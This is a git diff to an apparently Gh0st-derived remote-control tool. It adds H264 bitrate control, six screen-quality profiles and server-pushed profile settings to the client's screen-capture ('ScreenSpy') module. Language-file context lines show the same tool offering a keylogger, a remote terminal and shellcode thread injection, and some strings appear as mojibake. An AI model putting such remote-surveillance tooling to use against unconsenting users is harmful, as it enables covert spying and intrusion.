diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 97fb9ad..da03230 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -156,6 +156,7 @@ public: bool m_bLastFrameWasScroll; // 上一帧是否是滚动帧(用于强制同步) int m_nScrollDetectInterval; // 滚动检测间隔(0=禁用, 1=每帧, 2=每2帧, ...) int m_nInstructionSet = 0; + int m_nBitRate = 0; // H264 编码码率 (kbps), 0=自动 protected: int m_nVScreenLeft = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -212,12 +213,6 @@ public: Mprintf("=> 桌面缩放比例: %.2f, %.2f\t分辨率:%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; } - if (ALGORITHM_H264 == m_bAlgorithm) { - m_encoder = new CX264Encoder(); - if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) { - Mprintf("Open x264encoder failed!!!\n"); - } - } m_BlockBuffers = new LPBYTE[m_BlockNum]; m_BlockSizes = new ULONG[m_BlockNum]; @@ -911,8 +906,13 @@ public: case ALGORITHM_H264: { uint8_t* encoded_data = nullptr; uint32_t encoded_size = 0; - int err = m_encoder->encode(nextData, 32, 4* m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); + int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight; + if (m_encoder == nullptr) { + m_encoder = new CX264Encoder(); + int bitrate = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266); + m_encoder->open(width, height, 20, bitrate); + } + int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size); if (err) { return nullptr; } @@ -936,8 +936,13 @@ public: case ALGORITHM_H264: { uint8_t* encoded_data = nullptr; uint32_t encoded_size = 0; - int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); + int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight; + if (m_encoder == nullptr) { + m_encoder = new CX264Encoder(); + int bitrate = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266); + m_encoder->open(width, height, 20, bitrate); + } + int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size); if (err) { return nullptr; } @@ -967,6 +972,21 @@ public: return oldAlgo; } + // 设置 H264 编码码率 (kbps), 0=自动计算 + // 返回码率是否变化,调用者需要在变化时 RestartScreen + virtual bool SetBitRate(int bitrate) + { + if (m_nBitRate == bitrate) + return false; + m_nBitRate = bitrate; + return true; + } + + virtual int GetBitRate() const + { + return m_nBitRate; + } + // 鼠标位置转换 virtual void PointConversion(POINT& pt) const { diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 8d21be8..feffdc9 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -115,9 +115,7 @@ public: m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0); - bool canScale = (m_bAlgorithm != ALGORITHM_H264); - - if (strategy == 1 || !canScale) { + if (strategy == 1) { // strategy=1 或不支持缩放: 原始分辨率 } else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) { // maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用) diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index bdd2f2f..4e2ec7c 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -105,6 +105,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", QUALITY_ADAPTIVE); // 默认自适应 m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0); + LoadQualityProfiles(); // 加载质量配置 + m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } @@ -263,7 +265,7 @@ void CScreenManager::InitScreenSpy() // 如果已设置质量等级,使用对应的算法(优先于启动参数) int level = m_ScreenSettings.QualityLevel; if (level >= 0 && level < QUALITY_COUNT) { - algo = GetQualityProfile(level).algorithm; + algo = m_QualityProfiles[level].algorithm; } Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level); if (DXGI == USING_VIRTUAL) { @@ -575,7 +577,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) iniFile cfg(CLIENT_PATH); - // strategy=2 是自适应质量使用的临时策略,不应覆盖用户的原始策略 + // strategy=2 是自适应质量使用的临时策略,不覆盖用户的原始 ScreenStrategy if (strategy == 2) { if (maxWidth == 0) { // maxWidth=0 表示"使用默认策略",读取用户原来的设置 @@ -587,7 +589,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } Mprintf("maxWidth=0, 回退到默认策略: strategy=%d\n", strategy); } - // strategy=2 只写入 ScreenWidth,不覆盖用户的 ScreenStrategy + // 保存自适应的 ScreenWidth,下次启动时作为初始值 cfg.SetInt("settings", "ScreenWidth", maxWidth); Mprintf("写入配置: ScreenWidth=%d (保留原 ScreenStrategy)\n", maxWidth); } else { @@ -616,11 +618,9 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) needRestart = !m_ScreenSpyObject->IsOriginalSize(); Mprintf("strategy=1 (原始), needRestart=%d\n", needRestart); break; - case 2: // 自定义 maxWidth (maxWidth > 0) - if (maxWidth > 0 && maxWidth != currentWidth) { - needRestart = true; - } - Mprintf("strategy=2 (自定义), maxWidth=%d, currentWidth=%d, needRestart=%d\n", + case 2: // 自适应质量调整 (maxWidth > 0,maxWidth=0 时已回退到 case 0/1) + needRestart = (maxWidth != currentWidth); + Mprintf("strategy=2 (自适应), maxWidth=%d, currentWidth=%d, needRestart=%d\n", maxWidth, currentWidth, needRestart); break; } @@ -663,8 +663,8 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case CMD_QUALITY_LEVEL: { - // 质量等级调整 (level: -1=自适应, 0-4=具体等级) - int8_t level = (int8_t)szBuffer[1]; // 有符号,支持 -1 + // 质量等级调整 (level: -2=关闭, -1=自适应, 0-5=具体等级) + int8_t level = (int8_t)szBuffer[1]; // 有符号,支持负值 int persist = ulLength >= 3 ? szBuffer[2] : 0; // 是否保存到配置 m_ScreenSettings.QualityLevel = level; // 保存到配置 @@ -672,15 +672,32 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "QualityLevel", level); } - // 应用具体等级的配置 (自适应模式由服务端动态调整) - if (level >= 0 && level < QUALITY_COUNT) { - const QualityProfile& profile = GetQualityProfile(level); + // 应用具体等级的配置 + if (level == QUALITY_DISABLED) { + // 关闭模式:不修改任何设置,使用原有的算法和帧率配置 + Mprintf("质量等级: 关闭 (使用原有设置)\n"); + } else if (level >= 0 && level < QUALITY_COUNT) { + // 具体等级:应用本地配置 + const QualityProfile& profile = m_QualityProfiles[level]; m_ScreenSettings.MaxFPS = profile.maxFPS; + bool needRestart = false; if (m_ScreenSpyObject) { + // 如果当前是 H264 且码率变化,需要重启以重新创建编码器 + bool isH264 = (m_ScreenSpyObject->GetAlgorithm() == ALGORITHM_H264); + bool bitRateChanged = m_ScreenSpyObject->SetBitRate(profile.bitRate); + if (isH264 && bitRateChanged) { + needRestart = true; + } m_ScreenSpyObject->SetAlgorithm(profile.algorithm); } - Mprintf("质量等级: Level=%d, FPS=%d, Algo=%d\n", level, profile.maxFPS, profile.algorithm); + Mprintf("质量等级: Level=%d, FPS=%d, Algo=%d, BitRate=%d\n", level, + profile.maxFPS, profile.algorithm, profile.bitRate); + if (needRestart) { + Mprintf("H264 码率变化,重启截屏...\n"); + RestartScreen(); + } } else { + // 自适应模式:由服务端动态调整 Mprintf("质量等级: 自适应模式\n"); } break; @@ -695,6 +712,15 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) Mprintf("使用的CPU加速指令集: %d\n", set); break; } + case CMD_QUALITY_PROFILES: { + // 接收服务端下发的质量配置 + if (ulLength >= 1 + sizeof(QualityProfile) * QUALITY_COUNT) { + memcpy(m_QualityProfiles, szBuffer + 1, sizeof(QualityProfile) * QUALITY_COUNT); + SaveQualityProfiles(); + Mprintf("收到质量配置更新\n"); + } + break; + } case COMMAND_NEXT: { m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0; // 解析服务端能力标志(如果有) @@ -1294,3 +1320,38 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } } } + +void CScreenManager::LoadQualityProfiles() +{ + iniFile cfg(CLIENT_PATH); + for (int i = 0; i < QUALITY_COUNT; i++) { + char section[32]; + sprintf(section, "profile%d", i); + // 读取配置,没有则用默认值 + const QualityProfile& def = GetQualityProfile(i); + m_QualityProfiles[i].maxFPS = cfg.GetInt(section, "maxFPS", def.maxFPS); + m_QualityProfiles[i].maxWidth = cfg.GetInt(section, "maxWidth", def.maxWidth); + m_QualityProfiles[i].algorithm = cfg.GetInt(section, "algorithm", def.algorithm); + m_QualityProfiles[i].bitRate = cfg.GetInt(section, "bitRate", def.bitRate); + } +} + +void CScreenManager::SaveQualityProfiles() +{ + iniFile cfg(CLIENT_PATH); + for (int i = 0; i < QUALITY_COUNT; i++) { + const QualityProfile& def = GetQualityProfile(i); + const QualityProfile& cur = m_QualityProfiles[i]; + // 只有与默认值不同时才保存 + if (cur.maxFPS == def.maxFPS && cur.maxWidth == def.maxWidth && + cur.algorithm == def.algorithm && cur.bitRate == def.bitRate) { + continue; + } + char section[32]; + sprintf(section, "profile%d", i); + cfg.SetInt(section, "maxFPS", cur.maxFPS); + cfg.SetInt(section, "maxWidth", cur.maxWidth); + cfg.SetInt(section, "algorithm", cur.algorithm); + cfg.SetInt(section, "bitRate", cur.bitRate); + } +} diff --git a/client/ScreenManager.h b/client/ScreenManager.h index b9943da..4b51176 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -30,8 +30,11 @@ public: virtual ~CScreenManager(); HANDLE m_hWorkThread; ScreenSettings m_ScreenSettings = { 20 }; + QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖) void InitScreenSpy(); + void LoadQualityProfiles(); // 从配置文件加载质量配置 + void SaveQualityProfiles(); // 保存质量配置到配置文件 static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID SendBitMapInfo(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 1ac3d9f..d064b23 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -25,12 +25,11 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0); - bool canScale = (m_bAlgorithm != ALGORITHM_H264); - Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d\n", - strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth); + Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d, algo=%d\n", + strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth, m_bAlgorithm); - if (strategy == 1 || !canScale) { - // strategy=1 或不支持缩放: 原始分辨率 + if (strategy == 1) { + // strategy=1: 用户明确选择原始分辨率 Mprintf("CScreenSpy: 使用原始分辨率\n"); } else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) { // maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用) diff --git a/common/commands.h b/common/commands.h index 69d0021..5751d67 100644 --- a/common/commands.h +++ b/common/commands.h @@ -213,6 +213,7 @@ enum { CMD_SCROLL_INTERVAL = 77, // 滚动检测间隔 CMD_QUALITY_LEVEL = 78, // 质量等级 (-1=自适应, 0-4=具体等级) CMD_INSTRUCTION_SET = 79, + CMD_QUALITY_PROFILES = 80, // 下发质量配置表 (1 + QUALITY_COUNT * sizeof(QualityProfile)) TOKEN_SCROLL_FRAME = 99, // 滚动优化帧 // 服务端发出的标识 @@ -942,42 +943,57 @@ typedef struct MasterSettings { // 自适应质量等级 enum QualityLevel { + QUALITY_DISABLED = -2, // 关闭质量控制(使用原有算法设置) QUALITY_ADAPTIVE = -1, // 自适应模式 - QUALITY_ULTRA = 0, // 极佳 (局域网) - QUALITY_HIGH = 1, // 良好 - QUALITY_MEDIUM = 2, // 一般 - QUALITY_LOW = 3, // 较差 - QUALITY_MINIMAL = 4, // 最低 - QUALITY_COUNT = 5, + QUALITY_ULTRA = 0, // 极佳 (局域网, DIFF) + QUALITY_HIGH = 1, // 优秀 (RGB565) + QUALITY_GOOD = 2, // 良好 (H264, 1080P) + QUALITY_MEDIUM = 3, // 一般 (H264, 900P) + QUALITY_LOW = 4, // 较差 (H264, 720P) + QUALITY_MINIMAL = 5, // 最低 (H264, 540P) + QUALITY_COUNT = 6, }; -// 质量配置 (与 QualityLevel 对应) +/* 质量配置(与 QualityLevel 对应) +- strategy = 0:1080p 限制 +- strategy = 1:原始分辨率 +- strategy = 2 + maxWidth > 0:自定义宽度 +- strategy = 2 + maxWidth = 0:回退到用户保存的 strategy(0 或 1) +*/ struct QualityProfile { int maxFPS; // 最大帧率 int maxWidth; // 最大宽度 (0=不限) - int algorithm; // 压缩算法: 0=GRAY, 1=DIFF, 3=RGB565 + int algorithm; // 压缩算法: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565 + int bitRate; // kbps - H264 }; +// 控制端使用,客户端优先从配置中读取 inline const QualityProfile& GetQualityProfile(int level) { - // 预定义质量配置: algorithm: 0=GRAY, 1=DIFF, 3=RGB565 + // 预定义质量配置: algorithm: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565 + // 注意: level 必须在 [0, QUALITY_COUNT) 范围内 static const QualityProfile g_QualityProfiles[QUALITY_COUNT] = { - {30, 0, 1}, // Ultra: 30FPS, 原始, DIFF - {20, 0, 3}, // High: 20FPS, 原始, RGB565 - {15, 1920, 3}, // Medium: 15FPS, 1080P,RGB565 - {10, 1920, 0}, // Low: 10FPS, 1080P,GRAY - {5, 1280, 0}, // Minimal: 5FPS, 720P, GRAY + {25, 0, 1, 0 }, // Ultra: 25FPS, 原始, DIFF (局域网办公) + {20, 0, 3, 0 }, // High: 20FPS, 原始, RGB565 (一般办公) + {20, 1920, 2, 3000}, // Good: 20FPS, 1080P, H264 (跨网/偶尔视频) + {15, 1600, 2, 2000}, // Medium: 15FPS, 900P, H264 + {12, 1280, 2, 1200}, // Low: 12FPS, 720P, H264 + {8, 1024, 2, 800 }, // Minimal: 8FPS, 540P, H264 (极差网络) }; + if (level < 0 || level >= QUALITY_COUNT) { + static const QualityProfile disabled = {0, 0, -1, 0}; // 关闭模式返回空配置 + return disabled; + } return g_QualityProfiles[level]; } -// 根据RTT获取目标质量等级 +// 根据RTT获取目标质量等级 (控制端使用) inline int GetTargetQualityLevel(int rtt, int usingFRP) { // 根据模式应用不同 RTT阈值 (毫秒) static const int g_RttThresholds[2][QUALITY_COUNT] = { - // 直连: ULTRA, HIGH, MEDIUM, LOW, MINIMAL - /* DIRECT */ { 30, 100, 200, 400, INT_MAX }, + // 直连: ULTRA, HIGH, GOOD, MEDIUM, LOW, MINIMAL + /* DIRECT */ { 30, 80, 150, 250, 400, INT_MAX }, // FRP: - /* PROXY */ { 60, 200, 400, 800, INT_MAX }, + /* PROXY */ { 60, 160, 300, 500, 800, INT_MAX }, }; for (int i = 0; i < QUALITY_COUNT; i++) { if (rtt < g_RttThresholds[usingFRP][i]) diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 0dc58c2..a2476a0 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -43,9 +43,11 @@ enum { IDM_SCROLL_DETECT_2, // 滚动检测:跨网推荐 IDM_SCROLL_DETECT_4, // 滚动检测:标准模式 IDM_SCROLL_DETECT_8, // 滚动检测:省CPU模式 + IDM_QUALITY_OFF, // 关闭质量控制(使用原有算法) IDM_ADAPTIVE_QUALITY, // 自适应质量 IDM_QUALITY_ULTRA, // 手动质量:Ultra IDM_QUALITY_HIGH, // 手动质量:High + IDM_QUALITY_GOOD, // 手动质量:Good IDM_QUALITY_MEDIUM, // 手动质量:Medium IDM_QUALITY_LOW, // 手动质量:Low IDM_QUALITY_MINIMAL, // 手动质量:Minimal @@ -154,16 +156,23 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); m_ContextObject->InDeCompressedBuffer.CopyBuffer(&m_Settings, sizeof(ScreenSettings), 57); - // 从客户端配置初始化自适应质量状态 (QualityLevel: -1=自适应, 0-4=具体等级) - if (m_Settings.QualityLevel == QUALITY_ADAPTIVE) { + // 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级) + if (m_Settings.QualityLevel == QUALITY_DISABLED) { + m_AdaptiveQuality.enabled = false; + m_AdaptiveQuality.currentLevel = QUALITY_HIGH; // 关闭模式时不使用等级 + } else if (m_Settings.QualityLevel == QUALITY_ADAPTIVE) { m_AdaptiveQuality.enabled = true; m_AdaptiveQuality.currentLevel = QUALITY_HIGH; // 自适应默认从 High 开始 } else if (m_Settings.QualityLevel >= 0 && m_Settings.QualityLevel < QUALITY_COUNT) { m_AdaptiveQuality.enabled = false; m_AdaptiveQuality.currentLevel = m_Settings.QualityLevel; } - // 初始化当前分辨率限制 - m_AdaptiveQuality.currentMaxWidth = GetQualityProfile(m_AdaptiveQuality.currentLevel).maxWidth; + // 初始化当前分辨率限制(关闭模式时为0,不限制) + if (m_Settings.QualityLevel != QUALITY_DISABLED) { + m_AdaptiveQuality.currentMaxWidth = GetQualityProfile(m_AdaptiveQuality.currentLevel).maxWidth; + } else { + m_AdaptiveQuality.currentMaxWidth = 0; + } m_bIsCtrl = FALSE; m_bIsTraceCursor = FALSE; @@ -348,13 +357,15 @@ BOOL CScreenSpyDlg::OnInitDialog() // 屏幕质量子菜单 CMenu qualityMenu; if (qualityMenu.CreatePopupMenu()) { + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_OFF, "关闭(&O)"); qualityMenu.AppendMenuL(MF_STRING, IDM_ADAPTIVE_QUALITY, "自适应(&A)"); qualityMenu.AppendMenuSeparator(MF_SEPARATOR); - qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_ULTRA, "Ultra (30FPS, DIFF)"); + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_ULTRA, "Ultra (25FPS, DIFF)"); qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_HIGH, "High (20FPS, RGB565)"); - qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_MEDIUM, "Medium (15FPS, RGB565)"); - qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_LOW, "Low (10FPS, RGB565)"); - qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_MINIMAL, "Minimal (5FPS, GRAY)"); + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_GOOD, "Good (20FPS, H264)"); + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_MEDIUM, "Medium (15FPS, H264)"); + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_LOW, "Low (12FPS, H264)"); + qualityMenu.AppendMenuL(MF_STRING, IDM_QUALITY_MINIMAL, "Minimal (8FPS, H264)"); SysMenu->AppendMenuL(MF_STRING | MF_POPUP, (UINT_PTR)qualityMenu.Detach(), _T("屏幕质量(&Q)")); } // 初始化勾选状态 @@ -427,17 +438,30 @@ BOOL CScreenSpyDlg::OnInitDialog() // 启动传输速率更新定时器 (1秒) SetTimer(4, 1000, NULL); - // 如果非自适应模式,发送保存的质量等级给客户端应用 - if (!m_AdaptiveQuality.enabled) { + // 下发质量配置表(让客户端可以持久化保存) + { + BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT]; + profileCmd[0] = CMD_QUALITY_PROFILES; + for (int i = 0; i < QUALITY_COUNT; i++) { + memcpy(profileCmd + 1 + i * sizeof(QualityProfile), + &GetQualityProfile(i), sizeof(QualityProfile)); + } + m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd)); + } + + // 发送初始质量配置给客户端 + if (m_Settings.QualityLevel == QUALITY_DISABLED) { + // 关闭模式:不发送任何质量命令,保持客户端原有设置 + } else { + // 自适应或固定等级模式:发送质量等级和分辨率 BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)m_AdaptiveQuality.currentLevel, 0 }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); - // 如果有分辨率限制,也发送 - if (m_AdaptiveQuality.currentMaxWidth > 0) { - BYTE sizeCmd[16] = { CMD_SCREEN_SIZE, 2 }; // strategy=2 表示自定义maxWidth - memcpy(sizeCmd + 2, &m_AdaptiveQuality.currentMaxWidth, sizeof(int)); - m_ContextObject->Send2Client(sizeCmd, 10); - } + // 始终发送 CMD_SCREEN_SIZE,让客户端同步分辨率策略 + // maxWidth=0 表示使用默认分辨率(1080p 限制) + BYTE sizeCmd[16] = { CMD_SCREEN_SIZE, 2 }; // strategy=2 表示自适应质量 + memcpy(sizeCmd + 2, &m_AdaptiveQuality.currentMaxWidth, sizeof(int)); + m_ContextObject->Send2Client(sizeCmd, 10); } SendNext(); @@ -1102,23 +1126,34 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) break; } + case IDM_QUALITY_OFF: { // 关闭质量控制 + m_AdaptiveQuality.enabled = false; + m_Settings.QualityLevel = QUALITY_DISABLED; + UpdateQualityMenuCheck(SysMenu); + // 发送给客户端保存 (QualityLevel=-2 表示关闭) + BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)QUALITY_DISABLED, 1 }; // persist=1 + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + UpdateWindowTitle(); + Mprintf("关闭质量控制,使用原有算法设置\n"); + break; + } + case IDM_ADAPTIVE_QUALITY: { // 自适应质量开关 - m_AdaptiveQuality.enabled = !m_AdaptiveQuality.enabled; + m_AdaptiveQuality.enabled = true; + m_Settings.QualityLevel = QUALITY_ADAPTIVE; UpdateQualityMenuCheck(SysMenu); // 发送给客户端保存 (QualityLevel=-1 表示自适应) - int8_t level = m_AdaptiveQuality.enabled ? QUALITY_ADAPTIVE : m_AdaptiveQuality.currentLevel; - BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)level, 1 }; // persist=1 + BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)QUALITY_ADAPTIVE, 1 }; // persist=1 m_ContextObject->Send2Client(cmd, sizeof(cmd)); - if (m_AdaptiveQuality.enabled) { - // 启用时立即评估一次 - EvaluateQuality(); - } + // 启用时立即评估一次 + EvaluateQuality(); UpdateWindowTitle(); break; } case IDM_QUALITY_ULTRA: case IDM_QUALITY_HIGH: + case IDM_QUALITY_GOOD: case IDM_QUALITY_MEDIUM: case IDM_QUALITY_LOW: case IDM_QUALITY_MINIMAL: { @@ -1126,6 +1161,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int level = nID - IDM_QUALITY_ULTRA; // 关闭自适应模式 m_AdaptiveQuality.enabled = false; + m_Settings.QualityLevel = level; // 应用选择的等级 (persist=true 保存到客户端) ApplyQualityLevel(level, true); UpdateQualityMenuCheck(SysMenu); @@ -1228,16 +1264,19 @@ void CScreenSpyDlg::UpdateWindowTitle() int width = m_BitmapInfor_Full->bmiHeader.biWidth; int height = m_BitmapInfor_Full->bmiHeader.biHeight; - const char* qualityName = GetQualityName(m_AdaptiveQuality.currentLevel); + + // 构建质量名称:关闭显示 "Off",自适应和手动都会显示 "当前等级" + CString qualityName = m_Settings.QualityLevel == QUALITY_DISABLED ? "" : + CString(" | ") + GetQualityName(m_AdaptiveQuality.currentLevel); CString strTitle; UINT fps = (UINT)(m_dFrameRate + 0.5); // 四舍五入显示 if (m_dTransferRate >= 1024) { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s | %s", - m_IPAddress, width, height, fps, m_dTransferRate / 1024, qualityName); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s%s", + m_IPAddress, width, height, fps, m_dTransferRate / 1024, qualityName.GetString()); } else { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s | %s", - m_IPAddress, width, height, fps, m_dTransferRate, qualityName); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s%s", + m_IPAddress, width, height, fps, m_dTransferRate, qualityName.GetString()); } SetWindowText(strTitle); } @@ -1245,8 +1284,12 @@ void CScreenSpyDlg::UpdateWindowTitle() const char* CScreenSpyDlg::GetQualityName(int level) { static const char* names[] = { - "Ultra", "High", "Medium", "Low", "Minimal" + "Ultra", "High", "Good", "Medium", "Low", "Minimal" }; + if (level == QUALITY_DISABLED) + return "Off"; + if (level == QUALITY_ADAPTIVE) + return "Auto"; if (level >= 0 && level < QUALITY_COUNT) return names[level]; return "Unknown"; @@ -1256,16 +1299,20 @@ void CScreenSpyDlg::UpdateQualityMenuCheck(CMenu* SysMenu) { if (!SysMenu) SysMenu = GetSystemMenu(FALSE); // 先全部取消勾选 + SysMenu->CheckMenuItem(IDM_QUALITY_OFF, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ADAPTIVE_QUALITY, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_QUALITY_ULTRA, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_QUALITY_HIGH, MF_UNCHECKED); + SysMenu->CheckMenuItem(IDM_QUALITY_GOOD, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_QUALITY_MEDIUM, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_QUALITY_LOW, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_QUALITY_MINIMAL, MF_UNCHECKED); // 勾选当前项 - if (m_AdaptiveQuality.enabled) { + if (m_Settings.QualityLevel == QUALITY_DISABLED) { + SysMenu->CheckMenuItem(IDM_QUALITY_OFF, MF_CHECKED); + } else if (m_AdaptiveQuality.enabled) { SysMenu->CheckMenuItem(IDM_ADAPTIVE_QUALITY, MF_CHECKED); - } else { + } else if (m_AdaptiveQuality.currentLevel >= 0 && m_AdaptiveQuality.currentLevel < QUALITY_COUNT) { SysMenu->CheckMenuItem(IDM_QUALITY_ULTRA + m_AdaptiveQuality.currentLevel, MF_CHECKED); } } diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index b0ed6ff..2dbfeec 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -915,8 +915,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - Keylogger %s - ע=%s - Registry Manager %s - Զ %d%d=%s - Remote Desktop %d%d -%s - Զ %d%d | %u FPS | %.1f MB/s | %s=%s - Remote Desktop %d%d | %u FPS | %.1f MB/s | %s -%s - Զ %d%d | %u FPS | %.0f KB/s | %s=%s - Remote Desktop %d%d | %u FPS | %.1f KB/s | %s +%s - Զ %d%d | %u FPS | %.1f MB/s%s=%s - Remote Desktop %d%d | %u FPS | %.1f MB/s%s +%s - Զ %d%d | %u FPS | %.0f KB/s%s=%s - Remote Desktop %d%d | %u FPS | %.0f KB/s%s %s - =%s - Proxy Service %s - =%s - Service Manager %s - Զն=%s - Terminal @@ -1212,3 +1212,5 @@ PE ѶϿ=Connection lost - ԶѶϿ= - Remote desktop disconnected λͼļ(*.bmp)|*.bmp|=Bitmap Files(*.bmp)|*.bmp| +SSE2ָ(&5)=Enable Client SSE2(&5) +ر(&O)=Disbale(&O) diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index e985b7a..ce0dd08 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -912,8 +912,8 @@ NtCreateThreadEx(shellcodeע %s - ̼¼=%s - IPӛ %s - ע=%s - 䛾݋ʽ %s - Զ %d%d=%s - h %d%d -%s - Զ %d%d | %u FPS | %.1f MB/s | %s=%s - h %d%d | %u FPS | %.1f MB/s | %s -%s - Զ %d%d | %u FPS | %.0f KB/s | %s=%s - h %d%d | %u FPS | %.1f KB/s | %s +%s - Զ %d%d | %u FPS | %.1f MB/s%s=%s - h %d%d | %u FPS | %.1f MB/s%s +%s - Զ %d%d | %u FPS | %.0f KB/s%s=%s - h %d%d | %u FPS | %.0f KB/s%s %s - =%s - %s - =%s - չ %s - Զն=%s - h˽K˙C @@ -1209,3 +1209,5 @@ PE ѶϿ=Bє_ - ԶѶϿ= - hBє_ λͼļ(*.bmp)|*.bmp|=cꇈDn(*.bmp)|*.bmp| +SSE2ָ(&5)=Ñ 